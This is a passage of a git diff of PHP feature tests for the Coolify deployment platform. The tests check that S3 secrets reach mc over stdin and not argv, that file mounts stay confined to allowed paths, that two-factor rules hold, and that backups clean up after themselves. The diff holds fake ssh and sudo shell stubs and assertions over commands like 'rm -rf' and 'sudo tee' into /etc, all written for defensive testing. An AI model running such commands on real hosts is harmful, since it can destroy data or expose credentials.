Illuminate\Filesystem\FilesystemManager; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Collection; use Illuminate\Support\Facades\Process; use Illuminate\Support\Facades\Queue; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Str; +use Spatie\Activitylog\Models\Activity; +use Symfony\Component\Process\Process as SymfonyProcess; uses(RefreshDatabase::class); @@ -94,7 +98,7 @@ test('s3 import activity command does not contain storage key or secret', functi ->not->toContain('.env') ->not->toContain('S3_ACCESS_KEY=') ->not->toContain('S3_SECRET_KEY=') - ->toContain('mc alias set s3temp "$S3_ENDPOINT" "$S3_ACCESS_KEY" "$S3_SECRET_KEY"'); + ->not->toContain('mc alias set'); Queue::assertPushed(CoolifyTask::class, function (CoolifyTask $job) { $cleanup = $job->call_event_data; @@ -186,6 +190,134 @@ test('s3 import helper signs requests with the storage region', function () { $this->team->id, ); - Process::assertRan(fn ($process) => str_contains($process->command, "-e 'MC_REGION=ru-central-1'") - && str_contains($process->command, '-e S3_ENDPOINT=')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "-e 'MC_REGION=ru-central-1'") + && str_contains(remoteProcessScript($process), 'docker run -d')); +}); + +const IMPORT_S3_ARGV_KEY = 'AK/+$x"y'; +const IMPORT_S3_ARGV_SECRET = "s3c/r+e\$t 'q\"uo\\te`d` \\n"; + +/** + * Starts an S3 import against a faked SSH layer and records every SSH process with its stdin. + * + * @return array{0: Collection, 1: ?Activity, 2: ?Throwable} + */ +function importS3ArgvTestRun(object $test, string $sshUser, bool $aliasFails = false): array +{ + $test->server->update(['user' => $sshUser]); + $storage = S3Storage::create([ + 'name' => 'Import S3', + 'region' => 'ru-central-1', + 'key' => IMPORT_S3_ARGV_KEY, + 'secret' => IMPORT_S3_ARGV_SECRET, + 'bucket' => 'test-bucket', + 'endpoint' => 'https://8.8.8.8', + 'is_usable' => true, + 'team_id' => $test->team->id, + ]); + + $disk = Mockery::mock(FilesystemAdapter::class); + $disk->shouldReceive('exists')->andReturn(true); + $disk->shouldReceive('size')->andReturn(1024); + $filesystem = Mockery::mock(FilesystemManager::class, [app()])->makePartial(); + $filesystem->shouldReceive('build')->andReturn($disk); + Storage::swap($filesystem); + + $processes = collect(); + Process::fake(function ($process) use ($processes, $aliasFails) { + $processes->push(['command' => $process->command, 'input' => $process->input]); + + return $aliasFails && str_contains($process->command, 'mc alias set') + ? Process::result(errorOutput: 'mc: invalid credentials', exitCode: 1) + : Process::result(); + }); + Queue::fake(); + + $activity = null; + $error = null; + try { + $activity = app(StartDatabaseImport::class)->handle( + $test->database->fresh(), + new DatabaseImportSource('s3', path: 'backups/restore.sql', s3StorageUuid: $storage->uuid), + $test->team->id, + ); + } catch (Throwable $e) { + $error = $e; + } + + return [$processes, $activity, $error]; +} + +/** + * Runs the recorded `mc alias set` SSH process in a real shell with its stdin. Stubs for `timeout`, `ssh` + * (runs the remote command in `sh -c`, like a login shell), `sudo`, `docker` and `mc` log their arguments. + * + * @param array{command: string, input: ?string} $aliasProcess + * @return array{argv: string, mcStdin: string} + */ +function importS3ArgvTestRunAliasProcess(array $aliasProcess): array +{ + $bin = sys_get_temp_dir().'/import-s3-argv-'.bin2hex(random_bytes(6)); + mkdir($bin); + $log = "{$bin}/argv.log"; + $stubs = [ + 'timeout' => "shift\nexec \"\$@\"", + 'ssh' => "for last; do :; done\nexec sh -c \"\$last\"", + 'sudo' => 'exec "$@"', + 'docker' => "[ \"\$1\" = exec ] || exit 0\nshift\nwhile [ \"\${1#-}\" != \"\$1\" ]; do shift; done\nshift\nexec \"\$@\"", + 'mc' => "cat > {$bin}/mc.stdin", + ]; + foreach ($stubs as $name => $body) { + file_put_contents("{$bin}/{$name}", "#!/bin/sh\nprintf '%s\\n' \"{$name} \$*\" >> {$log}\n{$body}\n"); + chmod("{$bin}/{$name}", 0755); + } + + try { + (new SymfonyProcess(['bash', '-c', $aliasProcess['command']], env: ['PATH' => "{$bin}:/usr/bin:/bin"], input: $aliasProcess['input']))->mustRun(); + + return ['argv' => (string) file_get_contents($log), 'mcStdin' => (string) file_get_contents("{$bin}/mc.stdin")]; + } finally { + array_map('unlink', glob("{$bin}/*")); + rmdir($bin); + } +} + +it('passes the S3 keys of an import to mc on stdin, not in a command line', function (string $sshUser) { + [$processes, $activity, $error] = importS3ArgvTestRun($this, $sshUser); + + expect($error)->toBeNull(); + $commands = $processes->pluck('command')->push((string) RemoteProcessCommand::read($activity)); + foreach ($commands as $command) { + expect($command) + ->not->toContain(IMPORT_S3_ARGV_SECRET) + ->not->toContain(escapeshellarg(IMPORT_S3_ARGV_SECRET)) + ->not->toContain(escapeshellarg(IMPORT_S3_ARGV_KEY)) + ->not->toContain(base64_encode(IMPORT_S3_ARGV_SECRET)) + ->not->toContain(base64_encode(IMPORT_S3_ARGV_KEY)); + } + + $aliasProcess = $processes->sole(fn (array $process) => str_contains($process['command'], 'mc alias set')); + $run = importS3ArgvTestRunAliasProcess($aliasProcess); + + expect($run['mcStdin'])->toBe(IMPORT_S3_ARGV_KEY."\n".IMPORT_S3_ARGV_SECRET."\n") + ->and($run['argv'])->toContain('mc alias set s3temp https://8.8.8.8') + ->and($run['argv'])->not->toContain(IMPORT_S3_ARGV_SECRET) + ->and($run['argv'])->not->toContain(IMPORT_S3_ARGV_KEY) + ->and($processes->contains(fn (array $process) => str_contains($process['command']."\n".$process['input'], "-e 'MC_REGION=ru-central-1'")))->toBeTrue() + ->and((string) RemoteProcessCommand::read($activity))->toContain('mc cp '.escapeshellarg('s3temp/test-bucket/backups/restore.sql')); + if ($sshUser !== 'root') { + expect($run['argv'])->toContain('sudo docker exec -i'); + } +})->with(['root', 'deploy']); + +it('removes the S3 restore helper when the mc alias cannot be set', function () { + [$processes, $activity, $error] = importS3ArgvTestRun($this, 'root', aliasFails: true); + + expect($activity)->toBeNull() + ->and($error)->toBeInstanceOf(DatabaseImportException::class); + $aliasIndex = $processes->search(fn (array $process) => str_contains($process['command'], 'mc alias set')); + $removedAfterAlias = $processes->slice($aliasIndex + 1) + ->contains(fn (array $process) => preg_match("/docker rm -f '?s3-restore-/", $process['command']."\n".$process['input']) === 1); + expect($removedAfterAlias)->toBeTrue(); + Queue::assertNothingPushed(); }); diff --git a/tests/Feature/StopApplicationFailureTest.php b/tests/Feature/StopApplicationFailureTest.php index b7ad6b4b56..bf0f2cb90a 100644 --- a/tests/Feature/StopApplicationFailureTest.php +++ b/tests/Feature/StopApplicationFailureTest.php @@ -56,11 +56,11 @@ beforeEach(function () { function fakeRunningContainerWithStopResult(ProcessResult $stopResult): void { Process::fake(function ($process) use ($stopResult) { - if (str_contains($process->command, 'docker ps -a --filter')) { + if (str_contains(remoteProcessScript($process), 'docker ps -a --filter')) { return Process::result(output: json_encode(['Names' => 'app-container', 'Labels' => '', 'State' => 'running'])); } - return str_contains($process->command, 'docker stop') ? $stopResult : Process::result(output: ''); + return str_contains(remoteProcessScript($process), 'docker stop') ? $stopResult : Process::result(output: ''); }); } diff --git a/tests/Feature/StorageAndServiceAuditTest.php b/tests/Feature/StorageAndServiceAuditTest.php index e0520fa867..6b9a3974d3 100644 --- a/tests/Feature/StorageAndServiceAuditTest.php +++ b/tests/Feature/StorageAndServiceAuditTest.php @@ -47,7 +47,7 @@ beforeEach(function () { Bus::fake(); // Remote `test -f` / `test -d` probes report a missing path; path confinement checks pass. Process::fake(fn ($process) => Process::result( - output: str_contains(implode(' ', (array) $process->command), '&& echo OK || echo NOK') ? 'NOK' : 'OK' + output: str_contains(implode(' ', (array) remoteProcessScript($process)), '&& echo OK || echo NOK') ? 'NOK' : 'OK' )); Server::flushIdentityMap(); diff --git a/tests/Feature/StorageHostPathTest.php b/tests/Feature/StorageHostPathTest.php index 37239aa74d..856037e55e 100644 --- a/tests/Feature/StorageHostPathTest.php +++ b/tests/Feature/StorageHostPathTest.php @@ -64,9 +64,9 @@ beforeEach(function () { function storageHostPathFakeServer(string $symlink = 'OK', string $exists = 'NOK'): void { Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'test -L') => $symlink, - str_contains($process->command, 'readlink -f') => 'OK', - str_contains($process->command, 'test -') => $exists, + str_contains(remoteProcessScript($process), 'test -L') => $symlink, + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + str_contains(remoteProcessScript($process), 'test -') => $exists, default => '', })); } @@ -138,7 +138,7 @@ function storageHostPathFileVolume(string $fsPath, ?string $content, bool $isDir function storageHostPathAssertNoDelete(): void { - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -') || str_contains($process->command, 'rmdir')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -') || str_contains(remoteProcessScript($process), 'rmdir')); } test('an admin creates a directory mount anywhere on the host in the UI', function () { @@ -153,7 +153,7 @@ test('an admin creates a directory mount anywhere on the host in the UI', functi ->and($volume->is_directory)->toBeTrue(); $volume->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '/srv/zz'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '/srv/zz'")); }); test('an admin creates a file mount with content anywhere on the host in the UI', function () { @@ -169,8 +169,8 @@ test('an admin creates a file mount with content anywhere on the host in the UI' ->and($volume->mount_path)->toBe('/etc/app.conf'); $volume->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '/etc/zz'")); - Process::assertRan(fn ($process) => preg_match("#base64 -d \\| (sudo )?tee '/etc/zz/app.conf' > /dev/null#", $process->command) === 1); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '/etc/zz'")); + Process::assertRan(fn ($process) => preg_match("#base64 -d \\| (sudo )?tee '/etc/zz/app.conf' > /dev/null#", remoteProcessScript($process)) === 1); expect($volume->contentPathOnServer())->toBe('/etc/zz/app.conf'); }); @@ -252,8 +252,8 @@ test('a symbolic link at a file path outside the resource directory is refused', expect(fn () => $volume->saveStorageOnServer()) ->toThrow(RuntimeException::class, '/etc/zz/app.conf is a symbolic link on the server.'); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'base64 -d')); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'touch ')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'base64 -d')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'touch ')); $this->withHeaders(['Authorization' => 'Bearer '.storageHostPathToken($this->admin)]) ->postJson("/api/v1/applications/{$this->application->uuid}/storages", [ @@ -290,7 +290,7 @@ test('deleting a mount inside the resource directory still deletes it on the hos storageHostPathFileVolume($path, null, isDirectory: true)->deleteStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "rm -rf '{$path}'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "rm -rf '{$path}'")); }); test('the UI deletes a mount inside the resource directory on the host only when the user keeps the option checked', function (bool $isDirectory, array $selectedActions, bool $deletesOnHost, string $message) { @@ -304,7 +304,7 @@ test('the UI deletes a mount inside the resource directory on the host only when expect($volume->fresh())->toBeNull(); if ($deletesOnHost) { - Process::assertRan(fn ($process) => str_contains($process->command, "rm -rf '{$path}'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "rm -rf '{$path}'")); } else { storageHostPathAssertNoDelete(); } @@ -333,10 +333,10 @@ test('the delete dialog offers deletion on the host only for mounts inside the r test('a file outside the resource directory never replaces a directory on the host', function () { Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'test -L') => 'OK', - str_contains($process->command, 'test -d') => 'OK', - str_contains($process->command, 'test -f') => 'NOK', - str_contains($process->command, 'sh -c') => '1:empty-directory', + str_contains(remoteProcessScript($process), 'test -L') => 'OK', + str_contains(remoteProcessScript($process), 'test -d') => 'OK', + str_contains(remoteProcessScript($process), 'test -f') => 'NOK', + str_contains(remoteProcessScript($process), 'sh -c') => '1:empty-directory', default => '', })); @@ -364,8 +364,8 @@ test('relative host paths stay inside the resource directory', function () { expect(LocalFileVolume::query()->orderBy('id')->pluck('fs_path')->all()) ->toBe([$workdir.'/data/zz', $workdir.'/config/app.conf']); - Process::assertRan(fn ($process) => str_contains($process->command, 'readlink -f') - && str_contains($process->command, "'{$workdir}' '{$workdir}/data/zz'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'readlink -f') + && str_contains(remoteProcessScript($process), "'{$workdir}' '{$workdir}/data/zz'")); }); test('a token without deploy cannot create a mount outside the resource directory', function (string $resourceType, array $mount) { diff --git a/tests/Feature/TeamTwoFactorRequirementTest.php b/tests/Feature/TeamTwoFactorRequirementTest.php index 45334f57da..ebee17ca9c 100644 --- a/tests/Feature/TeamTwoFactorRequirementTest.php +++ b/tests/Feature/TeamTwoFactorRequirementTest.php @@ -1,7 +1,9 @@ assertOk() ->assertSee('The provided two factor authentication code was invalid.'); }); + +test('a member without 2fa can confirm with a passkey on the setup page', function () { + $user = twoFactorTeamUser($this->team); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + + $this->getJson('/passkeys/confirm/options')->assertOk(); + $this->postJson('/passkeys/confirm', [])->assertUnprocessable(); +}); + +test('a member with a password must confirm it before enabling 2fa', function () { + $user = twoFactorTeamUser($this->team); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + + $this->post('/user/two-factor-authentication')->assertRedirect(route('password.confirm')); + + expect($user->fresh()->two_factor_secret)->toBeNull(); +}); + +test('an oauth member without a known password can enable 2fa without a password confirmation', function () { + $user = twoFactorTeamUser($this->team); + OauthIdentity::create([ + 'user_id' => $user->id, + 'provider' => 'oidc', + 'issuer' => 'https://idp.example.com', + 'provider_user_id' => 'oidc-user-1', + 'email' => $user->email, + ]); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + + $this->from('/two-factor-required') + ->post('/user/two-factor-authentication') + ->assertRedirect('/two-factor-required'); + + expect($user->fresh()->two_factor_secret)->not->toBeNull(); +}); + +test('an invited member who must set a password can open the password page in a team that requires 2fa', function () { + $user = twoFactorTeamUser($this->team); + $user->forceFill(['force_password_reset' => true])->save(); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + + $this->get('/force-password-reset')->assertOk(); + $this->get('/two-factor-required')->assertRedirect(route('auth.force-password-reset')); +}); + +test('a member without 2fa can switch from the setup page to a team that does not require 2fa', function () { + $user = twoFactorTeamUser($this->team); + $personalTeam = $user->teams()->where('personal_team', true)->firstOrFail(); + $personalTeam->update(['show_boarding' => false]); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + $this->get('/two-factor-required')->assertSee($personalTeam->name); + + $this->post(route('two-factor.required.switch-team'), ['team_id' => $personalTeam->id]) + ->assertRedirect(route('dashboard')); + + expect(data_get(session('currentTeam'), 'id'))->toBe($personalTeam->id); + $this->get('/profile')->assertOk(); +}); + +test('a member without 2fa cannot switch from the setup page to a team that requires 2fa or is not theirs', function () { + $user = twoFactorTeamUser($this->team); + $otherRequiredTeam = Team::factory()->create(['show_boarding' => false, 'is_two_factor_required' => true]); + $otherRequiredTeam->members()->attach($user->id, ['role' => 'member']); + $foreignTeam = Team::factory()->create(['show_boarding' => false]); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user)->withSession(['currentTeam' => $this->team]); + + $this->post(route('two-factor.required.switch-team'), ['team_id' => $otherRequiredTeam->id]) + ->assertRedirect(route('two-factor.required')); + $this->post(route('two-factor.required.switch-team'), ['team_id' => $foreignTeam->id]) + ->assertRedirect(route('two-factor.required')); + + expect(data_get(session('currentTeam'), 'id'))->toBe($this->team->id); +}); + +test('a member without 2fa who switches back to a team that requires 2fa is sent to the setup page again', function () { + $user = twoFactorTeamUser($this->team); + $personalTeam = $user->teams()->where('personal_team', true)->firstOrFail(); + $personalTeam->update(['show_boarding' => false]); + $this->team->update(['is_two_factor_required' => true]); + $this->actingAs($user); + session(['currentTeam' => $personalTeam]); + + Livewire::test(SwitchTeam::class)->call('switch_to', $this->team->id); + + expect(data_get(session('currentTeam'), 'id'))->toBe($this->team->id); + $this->get('/profile')->assertRedirect(route('two-factor.required')); +}); diff --git a/tests/Feature/TerminalCapabilitiesTest.php b/tests/Feature/TerminalCapabilitiesTest.php index 7bb648d9b1..a8dd5d36ca 100644 --- a/tests/Feature/TerminalCapabilitiesTest.php +++ b/tests/Feature/TerminalCapabilitiesTest.php @@ -33,20 +33,20 @@ it('probes container capabilities with exactly one elevation layer', function (s expect((new ReflectionMethod(Terminal::class, 'checkShellAvailability'))->invoke($terminal, $server, 'game-1'))->toBeTrue(); Process::assertRan(function ($process) use ($sudo) { - if (! str_contains($process->command, 'docker inspect')) { + if (! str_contains(remoteProcessScript($process), 'docker inspect')) { return false; } - expect($process->command) + expect(remoteProcessScript($process)) ->toContain("\n{$sudo}docker inspect --format '{{.Config.OpenStdin}}' 'game-1' 2>/dev/null\n") ->not->toContain('sudo sudo'); - return str_contains($process->command, 'docker inspect'); + return str_contains(remoteProcessScript($process), 'docker inspect'); }); Process::assertRan(function ($process) use ($sudo) { - if (! str_contains($process->command, 'docker exec')) { + if (! str_contains(remoteProcessScript($process), 'docker exec')) { return false; } - expect($process->command) + expect(remoteProcessScript($process)) ->toContain("{$sudo}docker exec 'game-1' bash -c 'exit 0' 2>/dev/null || {$sudo}docker exec 'game-1' sh -c 'exit 0' 2>/dev/null") ->not->toContain('sudo sudo'); diff --git a/tests/Feature/TerminalSessionSecurityTest.php b/tests/Feature/TerminalSessionSecurityTest.php index 55650df4ca..93bd8aa8bf 100644 --- a/tests/Feature/TerminalSessionSecurityTest.php +++ b/tests/Feature/TerminalSessionSecurityTest.php @@ -110,7 +110,7 @@ it('carries the console mode in the token and attaches instead of exec on redeem 'private_key_id' => $privateKey->id, ]); $service = app(TerminalSessionService::class); - Process::fake([ + fakeRemoteProcesses([ '*docker inspect*' => Process::result(output: json_encode(['State' => ['Status' => 'running']])), '*' => Process::result(), ]); diff --git a/tests/Feature/TerminalSessionStartFailureTest.php b/tests/Feature/TerminalSessionStartFailureTest.php index 6871500448..8a17b1fed7 100644 --- a/tests/Feature/TerminalSessionStartFailureTest.php +++ b/tests/Feature/TerminalSessionStartFailureTest.php @@ -55,7 +55,7 @@ beforeEach(function () { function fakeTerminalContainer(string $state, bool $hasShell = true, array $runningContainers = []): void { Process::fake(function ($process) use ($state, $hasShell, $runningContainers) { - $command = (string) $process->command; + $command = remoteProcessScript($process); if (str_contains($command, 'docker ps -a')) { return Process::result(output: collect($runningContainers) diff --git a/tests/Feature/TraefikAcmeBackupTest.php b/tests/Feature/TraefikAcmeBackupTest.php index 841cd351fe..fa46a8d46d 100644 --- a/tests/Feature/TraefikAcmeBackupTest.php +++ b/tests/Feature/TraefikAcmeBackupTest.php @@ -53,7 +53,7 @@ beforeEach(function () { $this->remoteLines = []; Process::fake(function ($process) { - $command = $process->command; + $command = remoteProcessScript($process); if (str_contains($command, ' scp ') && preg_match("~'([^']+)' \\S+:'([^']+)'$~", $command, $matches)) { copy($matches[1], $matches[2]); diff --git a/tests/Feature/TraefikCertificateRemoteFileTest.php b/tests/Feature/TraefikCertificateRemoteFileTest.php index 972d0f4986..f584461e99 100644 --- a/tests/Feature/TraefikCertificateRemoteFileTest.php +++ b/tests/Feature/TraefikCertificateRemoteFileTest.php @@ -40,7 +40,7 @@ beforeEach(function () { $this->uploadedContents = null; Process::fake(function ($process) { - $command = $process->command; + $command = remoteProcessScript($process); if (str_starts_with($command, 'timeout') && str_contains($command, ' scp ') && preg_match("~'(".preg_quote(sys_get_temp_dir(), '~')."/coolify-acme-[^']+)'~", $command, $matches)) { $this->uploadedContents = file_get_contents($matches[1]); @@ -56,8 +56,8 @@ it('reads the ACME file with sudo on non-root servers', function () { $certificates = GetTraefikCertificates::run($this->server); expect($certificates)->toHaveCount(40); - Process::assertRan(fn ($process) => str_contains($process->command, "\nsudo sh -c 'if [ ! -f") - && str_contains($process->command, 'head -c')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "\nsudo sh -c 'if [ ! -f") + && str_contains(remoteProcessScript($process), 'head -c')); }); it('uploads a large ACME file instead of passing it as a shell argument', function () { @@ -70,10 +70,10 @@ it('uploads a large ACME file instead of passing it as a shell argument', functi ->and($remaining)->toHaveCount(39) ->and(collect($remaining)->pluck('domain.main'))->not->toContain('app1.example.com'); - Process::assertRan(fn ($process) => str_contains($process->command, "\nsudo sh -c 'set -e;") - && str_contains($process->command, 'umask 077') - && str_contains($process->command, 'chmod 600') - && str_contains($process->command, 'mv --')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "\nsudo sh -c 'set -e;") + && str_contains(remoteProcessScript($process), 'umask 077') + && str_contains(remoteProcessScript($process), 'chmod 600') + && str_contains(remoteProcessScript($process), 'mv --')); Process::assertDidntRun(fn ($process) => strlen($process->command) > 128 * 1024); expect(glob(sys_get_temp_dir().'/coolify-acme-*'))->toBeEmpty(); }); @@ -164,7 +164,7 @@ it('does not show or delete certificates of another team', function () { ->call('deleteTraefikCertificate', $certificateId) ->assertDispatched('error'); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'acme.json')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'acme.json')); expect($this->uploadedContents)->toBeNull() ->and($this->server->fresh()->hasPendingProxyConfiguration())->toBeFalse(); }); diff --git a/tests/Feature/TrafficAnalytics/SentinelTrafficAvailabilityTest.php b/tests/Feature/TrafficAnalytics/SentinelTrafficAvailabilityTest.php index d1f824f1f6..ddaf9c8a58 100644 --- a/tests/Feature/TrafficAnalytics/SentinelTrafficAvailabilityTest.php +++ b/tests/Feature/TrafficAnalytics/SentinelTrafficAvailabilityTest.php @@ -91,7 +91,7 @@ it('fetches a healthy server with a bounded ssh and curl timeout', function () { expect($overview->requests)->toBe(7); Process::assertRan(fn (PendingProcess $process) => $process->timeout <= 30 - && str_contains($process->command, '--max-time')); + && str_contains(remoteProcessScript($process), '--max-time')); }); it('shows no data without an error when Sentinel has no traffic routes (0.0.x answers 404)', function () { @@ -116,5 +116,5 @@ it('shows no data without an error when Sentinel has no traffic routes (0.0.x an ->assertSet('series', []) ->assertNotDispatched('error'); - Process::assertRan(fn (PendingProcess $process) => str_contains($process->command, '/api/traffic/dashboard')); + Process::assertRan(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), '/api/traffic/dashboard')); }); diff --git a/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php b/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php index 7919c5e212..dad221fa3a 100644 --- a/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php +++ b/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php @@ -71,9 +71,8 @@ function runSentSentinelScriptWithFakes(string $bin): array { $script = null; Process::assertRan(function ($process) use (&$script) { - // generateSshCommand sends the script as the body of a heredoc: first line opens it, last line closes it. - $lines = explode("\n", $process->command); - $script = implode("\n", array_slice($lines, 1, -1)); + // The script goes to ssh on stdin. + $script = rtrim((string) $process->input, "\n"); return true; }); diff --git a/tests/Feature/TrafficAnalytics/StartSentinelTrafficTest.php b/tests/Feature/TrafficAnalytics/StartSentinelTrafficTest.php index 3bb5a818f8..7d16345f5c 100644 --- a/tests/Feature/TrafficAnalytics/StartSentinelTrafficTest.php +++ b/tests/Feature/TrafficAnalytics/StartSentinelTrafficTest.php @@ -143,7 +143,7 @@ function runStartSentinelAndCaptureScript(Server $server): string Event::fake([SentinelRestarted::class]); $scripts = []; Process::fake(function ($process) use (&$scripts) { - $scripts[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $scripts[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php b/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php index 4f95a3fe66..45e5a81200 100644 --- a/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php +++ b/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php @@ -93,7 +93,7 @@ function fakeMultiDestinationS3Disks(): void it('archives locally and uploads to every destination instead of streaming', function () { [$backup, $first, $second] = createMultiDestinationVolumeBackup(['disable_local_backup' => true]); fakeMultiDestinationS3Disks(); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); @@ -101,11 +101,11 @@ it('archives locally and uploads to every destination instead of streaming', fun (new VolumeBackupJob($backup))->handle(); $execution = ScheduledVolumeBackupExecution::query()->sole(); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mc pipe')); - Process::assertRan(fn ($process) => str_contains($process->command, 'tar -I') && str_contains($process->command, ' > ')); - Process::assertRan(fn ($process) => str_contains($process->command, 'mc cp') && str_contains($process->command, 'temporary/first-bucket/')); - Process::assertRan(fn ($process) => str_contains($process->command, 'mc cp') && str_contains($process->command, 'temporary/second-bucket/')); - Process::assertRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", $process->command) === 1); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc pipe')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'tar -I') && str_contains(remoteProcessScript($process), ' > ')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc cp') && str_contains(remoteProcessScript($process), 'temporary/first-bucket/')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mc cp') && str_contains(remoteProcessScript($process), 'temporary/second-bucket/')); + Process::assertRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", remoteProcessScript($process)) === 1); expect($execution->status)->toBe('success') ->and($execution->s3_storage_id)->toBe($first->id) ->and($execution->s3_uploaded)->toBeTrue() @@ -120,23 +120,32 @@ it('signs each upload with the region of its destination', function () { [$backup, $first] = createMultiDestinationVolumeBackup(); $first->update(['region' => 'ru-central-1']); fakeMultiDestinationS3Disks(); - Process::fake([ - '*du -b*' => '128', - '*' => '', - ]); + $commands = collect(); + Process::fake(function ($process) use ($commands) { + $commands->push(remoteProcessScript($process)); + + return Process::result(output: str_contains(remoteProcessScript($process), 'du -b') ? '128' : ''); + }); (new VolumeBackupJob($backup))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, "-e 'MC_REGION=ru-central-1'") - && str_contains($process->command, 'temporary/first-bucket/')); - Process::assertRan(fn ($process) => str_contains($process->command, "-e 'MC_REGION=us-east-1'") - && str_contains($process->command, 'temporary/second-bucket/')); + $regionOfBucket = []; + $region = null; + foreach ($commands as $command) { + if (preg_match("/-e 'MC_REGION=([^']+)'/", $command, $match)) { + $region = $match[1]; + } + if (preg_match("#mc cp .*'temporary/([^/']+)/#", $command, $match)) { + $regionOfBucket[$match[1]] = $region; + } + } + expect($regionOfBucket)->toBe(['first-bucket' => 'ru-central-1', 'second-bucket' => 'us-east-1']); }); it('keeps the local archive and cleans the partial upload when one destination fails', function () { [$backup, $first, $second] = createMultiDestinationVolumeBackup(['disable_local_backup' => true]); fakeMultiDestinationS3Disks(); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*temporary/second-bucket/*' => Process::result(errorOutput: 'access denied', exitCode: 1), '*' => '', @@ -147,7 +156,7 @@ it('keeps the local archive and cleans the partial upload when one destination f $execution = ScheduledVolumeBackupExecution::query()->sole(); $firstReplica = $execution->s3Replicas()->where('s3_storage_id', $first->id)->sole(); $secondReplica = $execution->s3Replicas()->where('s3_storage_id', $second->id)->sole(); - Process::assertNotRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", $process->command) === 1); + Process::assertNotRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", remoteProcessScript($process)) === 1); expect($execution->status)->toBe('success') ->and($execution->message)->toContain('S3 upload failed: second storage:') ->and($execution->s3_uploaded)->toBeFalse() diff --git a/tests/Feature/VolumeBackupRecoveryBoundsTest.php b/tests/Feature/VolumeBackupRecoveryBoundsTest.php index 08d90ab774..bc7ffc0e89 100644 --- a/tests/Feature/VolumeBackupRecoveryBoundsTest.php +++ b/tests/Feature/VolumeBackupRecoveryBoundsTest.php @@ -250,7 +250,7 @@ it('cleans the S3 upload even when container recovery fails', function () { Storage::fake('ssh-mux'); [, , , $backup] = createRecoveryBoundsBackup(Team::factory()->create(), ['stop_during_backup' => true]); $execution = createRecoveryBoundsExecution($backup, ['stop_recovery_pending' => true]); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(errorOutput: 'ssh: connect to host 203.0.113.20 port 22: Connection refused', exitCode: 255), ]); $disk = Mockery::mock(); @@ -314,7 +314,7 @@ it('only blocks new scheduled backups while stopped containers await recovery', ]); it('keeps executions with pending recovery during retention cleanup', function () { - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*' => '', ]); diff --git a/tests/Feature/VolumeBackupRecoveryMissingContainerTest.php b/tests/Feature/VolumeBackupRecoveryMissingContainerTest.php index fe5190a7b1..2210fd4014 100644 --- a/tests/Feature/VolumeBackupRecoveryMissingContainerTest.php +++ b/tests/Feature/VolumeBackupRecoveryMissingContainerTest.php @@ -109,7 +109,7 @@ function missingContainerRecoveryBackup(string $user): array function fakeMissingContainerRemote(string $fakeDockerDir): void { Process::fake(function ($process) use ($fakeDockerDir) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $lines = 